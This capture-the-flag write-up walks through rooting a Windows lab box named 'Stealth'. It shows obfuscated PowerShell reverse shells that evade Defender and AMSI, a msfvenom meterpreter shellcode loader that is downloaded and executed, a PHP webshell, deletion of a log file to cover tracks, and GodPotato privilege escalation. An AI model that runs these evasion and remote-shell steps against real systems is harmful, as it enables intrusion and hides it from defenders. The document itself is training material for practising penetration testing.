Name Stealth
OS Windows


The ‘lore’ on this machine says to go to its IP on port 8080. On the page it advertises a “PowerShell Script Analyzer.”


For an initial benign test, I created a whoami.ps1 file containing a simple PowerShell command to display the executing user:


Although the application indicated that the code seemed fine, there was no output. Given the application’s “Dev” mode status, as shown on the homepage screenshot, the lack of output might be due to the development environment.

Moving on to a more assertive test, I downloaded a PowerShell script from Nishang, designed to establish a reverse shell connection. Despite uploading the script and initiating a netcat listener, no callback was received. A probable cause could be Windows Defender or AMSI detecting and blocking the malicious script.

To counteract this, I opted for an anti-virus evasion approach using this repository to generate an obfuscated payload for a reverse shell.

After downloading and running the obfuscator, the generated PowerShell script was uploaded. This time, a successful connection was established, confirming that the obfuscated payload bypassed the defenses.



The resulting payload.ps1 file, when uploaded and executed, successfully triggered a reverse shell, providing access to the target system.

nc -lvnp 9001

Now, with an established shell, further exploration and exploitation avenues can be pursued on the compromised system.

User Flag

Upon gaining shell access, my immediate focus was on retrieving the user flag. However, I encountered a challenge – the flag was encoded. Examining its contents, I noticed an unconventional certificate-like structure, resembling base64-encoded text:

<:KDPaLlDXG4:> C:\Users\evader\Desktop> type encodedflag

Decoding it revealed instructions on obtaining the user flag, directing me to a specific URL:

└─$ echo -n 'WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDov
aHA=' | base64 -d
You can get the flag by visiting the link http://<IP_OF_THIS_PC>:8000/asdasdadasdjakjdnsdfsdfs.php

Upon visiting the provided URL, I encountered a message indicating that the “blue team has been alerted” and advising me to remove a log file.


Taking a closer look in the web root, I discovered a directory containing all my uploads, including the suspect log file. I removed log.txt like the web paged hinted it

<:KDPaLlDXG4:> C:\xampp\htdocs\uploads> dir

    Directory: C:\xampp\htdocs\uploads

Mode                LastWriteTime         Length Name                                             
----                -------------         ------ ----                                             
-a----         8/1/2023   5:10 PM            132 hello.ps1                                        
-a----        8/17/2023   4:58 AM              0 index.php                                        
-a----         1/3/2024   3:03 AM           1748 Invoke-PowerShellTcpOneLine.ps1                  
-a----         1/3/2024   3:05 AM            319 log.txt                                          
-a----         1/3/2024   3:05 AM            696 payload.ps1                                      
-a----         9/4/2023   3:18 PM            771 vulnerable.ps1                                   
-a----         1/3/2024   2:44 AM             63 whoami.ps1                                       

<:KDPaLlDXG4:> C:\xampp\htdocs\uploads> del log.txt

With the log file removed, revisiting the URL finally revealed the elusive user flag. This rather unconventional approach showcased the importance of stealth and covering one’s tracks during a penetration test. This did not feel very real world to me, but it captured the idea of cleaning up after yourself. Going a step further I would delete my payloads as well if this was real world.


Stable Shell

With the user flag secured, the path to obtaining root access becomes significantly smoother with a more robust shell. To bypass Windows Defender, I opted for a shellcode injection technique using the go-inject repository by Zane Gittins. Here’s a step-by-step guide:

Clone the repository:

git clone

Generate the shellcode using msfvenom (ensure to replace LHOST and LPORT):

└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp AUTOLOADSTDAPI=false LHOST= LPORT=9002 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of hex file: 1020 bytes

Modify examples/x64/valloc/valloc.go in the cloned repository, replacing the hex string with the one generated by msfvenom.

cd go-inject
vim examples/x64/valloc/valloc.go

Build the injected binary

env GOOS=windows go build -ldflags="-s -w" -trimpath examples/x64/valloc/valloc.go

Configure the Metasploit console:

msf6 > use windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost
lhost =>
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 9002
lport => 9002
msf6 payload(windows/x64/meterpreter/reverse_tcp) > exploit
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 

Host the binary:

└─$ python3 -m http.server 8080
Serving HTTP on port 8080 ( ...

Download and execute the payload on the target system:

<:KlAlDlYJR8:> C:\> cd C:\Windows\Tasks
<:KlAlDlYJR8:> C:\Windows\Tasks> wget -o valloc.exe
<:KlAlDlYJR8:> C:\Windows\Tasks> .\valloc.exe

Check Metasploit for the opened session:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to
[*] Meterpreter session 1 opened ( -> at 2024-01-02 23:47:50 -0500
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions

Active sessions

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         meterpreter x64/windows  HOSTEVASION\evader @ HOSTEVASION -> (

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Now, with a stable and improved shell, the groundwork is laid for more effective privilege escalation and further exploration of the compromised system.

Pivot To Root

Upon inspecting the privileges in the C:\xampp\htdocs directory, I observed that BUILTIN\User possesses full privileges over the web root, as indicated by the “F” flag in the ACL (Access Control List). Conveniently, our user is part of this group:

C:\xampp\htdocs>icacls .
icacls .
. BUILTIN\Users:(I)(OI)(CI)(F)

Notably, xampp installations on Windows grant the user or service account running the service the SeImpersonate privilege, a potent permission that can lead to system access.

To verify this, I uploaded the wwwolf-php-webshell to the root directory, revealing that I indeed had SeImpersonate when executing commands through the webshell with service privileges. It was interesting as it was running as a user account rather than a service account, no matter we still had the privilege.

Here’s the step-by-step breakdown:

Download and host the webshell:

python3 -m http.server 8080

Download the webshell to the web root:

powershell.exe Invoke-WebRequest -URI -OutFile w.php

Accessing the webshell, confirm the SeImpersonate privilege Stealth

Utilizing this privilege, execute the same payload to gain a Meterpreter shell: Stealth

And I get a call back

[*] Sending stage (200774 bytes) to
[*] Meterpreter session 10 opened ( -> at 2024-01-03 00:31:24 -0500]

meterpreter > exit
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i 10
[*] Starting interaction with 10...

meterpreter > shell

C:\Windows\Tasks>whoami /priv


Privilege Name                Description                               State    
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

With the elevated privileges, I employed GodPotato net4 for privilege escalation. Following the same process of hosting and downloading as before, I ran the tool and successfully retrieved the root flag:

C:\xampp\htdocs\uploads>.\GodPotato-NET4.exe  -cmd "cmd /c type C:\Users\Administrator\Desktop\flag.txt"

A noteworthy observation during this box was the peculiar behavior of Windows Defender. It appeared to exhibit unusual activity in directories outside of C:\xampp. Suspecting the presence of an exclusion, I revisited the Defender settings after rooting the box. Indeed, my suspicion was validated. So if you have issues execute everything from C:\xampp\htdocs\uploads

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-MpPreference 
ExclusionPath                                         : {C:\xampp}